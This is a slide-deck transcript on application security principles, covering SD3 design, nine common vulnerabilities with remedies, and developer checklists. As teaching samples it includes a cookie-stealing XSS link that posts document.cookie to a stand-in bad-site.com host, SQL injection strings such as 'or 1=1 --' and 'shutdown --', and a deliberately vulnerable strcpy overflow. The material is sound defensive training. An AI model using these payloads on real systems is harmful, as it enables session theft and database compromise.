The document summarizes application security best practices. It discusses who is responsible for application security and design considerations like authentication, authorization, privacy and data integrity. It then covers security principles like designing for security by default and in deployment. Top application vulnerabilities like SQL injection, cross-site scripting and access control issues are explained along with remedies. Finally, it provides checklists for designers, developers and testers to follow for application security.

1. Securing applications Who is responsible for providing security ? Design considerations Principles and best practices Coding Ideas, techniques, code samples

2. What is application security ? Typical app includes elements, components and processes Each of the app elements and components and processes must be available only to qualified users Every element, component and service must be protected from unauthorized viewing, tampering, modification

3. Security Basics Authentication who are you? Authorization what are you allowed to do? Privacy encryption can anybody see what you do? Data integrity can anybody change your action?

4. n-tier application model External Applications Legacy Systems Databases Thin Client Rich Client

5. Security Principles: SD3 By design Security architect, signs for security Create threat model (shared with QA) Training on security issues Design and coding guidelines with focus on security: code simplification, reviews, bug fixes, regression testing Minimize attack surface Don’t reveal internal details in error messages

6. Security Principles: SD3 By default Not all features installed by default Allow least privilege Apply appropriate protection for resources Use defense in depth Assume external systems are insecure Fail to a secure mode Never depend on security through obscurity Don’t mix code and data

7. Security Principles: SD3 In Deployment Make sure app has functionality for security administration Make sure the app is correctly configured

8. Top 9 application vulnerabilities Unchecked parameters Broken Access Control Cross-site scripting (XSS) flaws Buffer overruns SQL injection defects Broken account and session management Error handling deficiencies Faulty use of cryptography Web and app server misconfiguration

9. 1. Unchecked parameters Rule 1: all input is evil until proven otherwise Rule 2: data must be validated as it crossed the boundary between untrusted and trusted environments Issues: longer than expected strings, malicious content

10. Example: CopyData() void CopyData(char* szSrc) { char szDest[1024]; strcpy(szDest, szSrc); // use szDest }

11. Example: CopyData2() int CopyData2(char* szSrc, int nLen) { int nRes = S_OK; const int cnMaxLen = 1024; char szDest[cnMaxLen]; if (szSrc && nLen < cnMaxLen) strncpy(szDest, szSrc, nLen); else nRes = ERR_WRONG_PARAM; return nRes; }

12. How to check validity Rule: look for valid data and reject everything else Reasons: There could be more than one valid way to represent data (requires canonicalization) You might miss an invalid data pattern May use regular expressions to check input

13. Canonicalization The process by which various equivalent forms are resolved to a single, standard name, the canonical name Do not make any security decision based on the name of a resource, especially a file name Restrict what is allowed in a file name (drive, backslashes, extension etc.)

14. 2. Cross-site scripting attacks Occur when an attacker uses a web app to send malicious code, usually JavaScript, to a different end user Real reason is because data and code are mixed together (against one of the security principles) 2 categories: stored and reflected

15. Trusted Site ? <a href=“http://www.microsoft.com@%77% 77%77%2E%65%78%3D%64%6F%74%73% 63%6B%69%65…..%3E”> Click here to win $1,000,000 </a> URL format as defined in RFC1738: http://<user>:<pswd>@<host>:<port>/<path>

16. XSS example: server side www.cifo.com/req.asp implementation: Hello, &nbsp; <% Response.Write(Request.QueryString(“name”)) %>

17. XSS example: client side <a href=http://www.cifo.com/req.asp?name= <form action=www.bad-site.com/test.asp method=post id=“idFrm”> <input name=“cookie” type=“hidden”> </form> <script> idFrm.cookie.value=document.cookie; idFrm.submit(); </script> > Click here to win ! </a>

18. XSS attack against local files <!—c:\myfiles\xss.html--> Hello ! <script>document.write(location.hash) </script> file://c:\myfiles\xss.html#<script>alert(“I am in !”)</script>

19. XSS remedies Determine which input is valid and reject all the rest Encode output (use Server.HTMLEncode) Use double quotes around all tag properties Use IE 6.0 SP1 HttpOnly cookie option IE “Mark of the Web” IE 6 <FRAME SECURITY> attribute

20. 3. Buffer overruns Occurs when a buffer declared on the stack is overwritten by copying data larger than the buffer The usual culprit is unchecked user input passed to functions such as strcpy() An attack results when the return address for the function gets overwritten by an address chosen by the attacker (usually to her own code)

21. Stack Overflow Example void foo(const char* input) { char buf[10]; // display stack here strcpy(buf, input); // display stack here } void bar() { printf(“Ouch! I’ve been hacked !”);} void main(int argc, char** argv) { printf(“addr of foo:%p\naddr of bar:%p”, foo, bar); foo(argv[1]); }

22. Buffer overrun remedies Use strncpy instead of strcpy Use snprintf instead of sprintf Use STL string class When writing functions for manipulating strings: Size of the destination buffer always provided to the function; Buffers guaranteed to be NULL terminated, even if the operation truncates the intended result; All functions must return HRESULT;

23. “Dangerous” APIs APIs with Buffer overrun issues: strcpy, strcat, strncpy, strncat, memcpy, sprintf, printf, strlen, gets, scanf, STL stream operator (>>), T2W (& family) APIs with name-squatting issues (CreateDirectory, CreateEvent, CreateFile, CreateMutex, CreateNamedPipe etc.) APIs with Trojaning issues (CreateProcess, LoadLibrary, WinExec etc.) APIs with DoS issues (InitializeCriticalSection, EnterCriticalSection, _alloca), TerminateThread, TerminateProcess Socket APIs

24. 4. SQL injection issue string sql = “select * from customer where CustID= ‘” + id + “’” // value of variable ‘id’ is “A125612’ or 1=1 --” select * from customer where id=‘A125612’ or 1=1 –-‘

25. SQL injection “remedies”: double quote the input // value of variable ‘id’ is “A125612’ or 1=1 --” select * from customer where id=‘A125612’’ or 1=1 –-‘ select * from customer where id=‘” + id + ”’ and age>” + nAge select & from customer where id=‘A75’ and age>33 shutdown --

26. SQL injection “remedies”: use stored procedures exec sp_GetCust ‘A152’ or 1=1’ -- exec sp_GetCustomer ‘A152’ insert into customer values (...) --

27. Preventing SQL injection Again, do not trust user’s input ! Use parameterized queries (e.g. through ADO.Command) and not string concatenation Be strict about what represents valid input and reject everything else Connect to db by using least privileged account, not sysadmin Do not divulge too much info to attacker

28. 5. Access Control Sometimes called Authorization, is how the app grants access to content and functions to some users and not others ACL is last line of defense against attack Access Control policy should be clearly documented and enforced Code that implements access control should be centralized, modular and thoroughly reviewed

29. 6. Broken account and session management Caused by flawed credential management functions, including password change, forgot my password, account update etc. Managing active sessions requires strong session identifier (token), protected throughout its lifecycle, that can’t be guessed, hijacked or captured

30. Protection against break-ins Single password change mechanism; always required to provide both new and old password Strong password should have min size Password storage always in hashed or encrypted form Protect credentials in transit (SSL-type) Session ID protection – ideally through SSL for the entire session

31. 7. Error handling deficiencies Most common problem is when detailed internal error messages (stack traces, mem dumps, error codes) are displayed to the user (attacker) Even though minimal error messages are displayed, they can still be logged by the application, with all their details, on the server, analyzed and fixed

32. 8. Faulty use of cryptography Insecure storage of keys, certificates and passwords Poor source for randomness Poor choice for encryption algorithm or attempting to invent new ones Failure to encrypt critical data Lack of support for key changes

33. Solutions for cryptography issues In Win32 use CryptGenRandom to generate random numbers Use appropriate key lengths Keep keys close to the source If must exchange keys (private keys should never be exchanged) use a tried and trusted exchange mechanism (RSA, Diffie-Hellman) Document your reasons for choosing the cryptographic solution and have someone knowledgeable review it

34. RSA encryption keys Find two large prime numbers (1024 bit or longer), P and Q; N = P*Q Chose E, between 1 and P*Q, such that E and (P-1)*(Q-1) are relative prime (have no common factor other than 1) Compute D such that (D*E-1) is divisible by (P-1)*(Q-1), that is equivalent to D*E = 1 (mod(P-1*(Q-1)) Public key is the pair (N, E), private key is D

35. RSA encryption algorithm The encryption function is C = (T^E) mod PQ , where C is the ciphertext (a positive integer), T is the plaintext (a positive integer) The decryption function is T = (C^D) mod PQ , where C is the ciphertext (a positive integer) and T is the plaintext (a positive integer)

36. 9. Web and app server misconfiguration Unpatched security flaws in the server software Unnecessary default, backup, sample files, including scripts, applications, configuration files, web pages Unnecessary services enabled Default accounts with default passwords Admin or debugging functions that are enabled or accessible Misconfigured SSL certificates and encryption settings

37. Summary Things to remember Designer’s security checklist Developer’s security checklist Tester’s security checklist Stay up-to-date: threats change, new ones emerge Never been attacked does not mean will never be attacked

38. Developer’s security checklist Code compiled with /GS (Visual C++.NET) Check all untrusted input is verified before being used or stored All buffer management functions are safe from buffer overrun All DACLs well formed: not NULL or Everyone (Full Control) No references to any internal resources (server names, user names etc.) in code Temporary file names are unpredictable Calls to CreateProcess do not have NULL as first arg Error messages do not give too much info to attacker No decision made based on the name of the files No user data written to HKLM in the registry Socket bind to a specific IP address (not 0) Etc. (Database-specific, CryptoAPI)

39. Questions, suggestions Future presentations - basic cryptography (history and evolution) - DVD encryption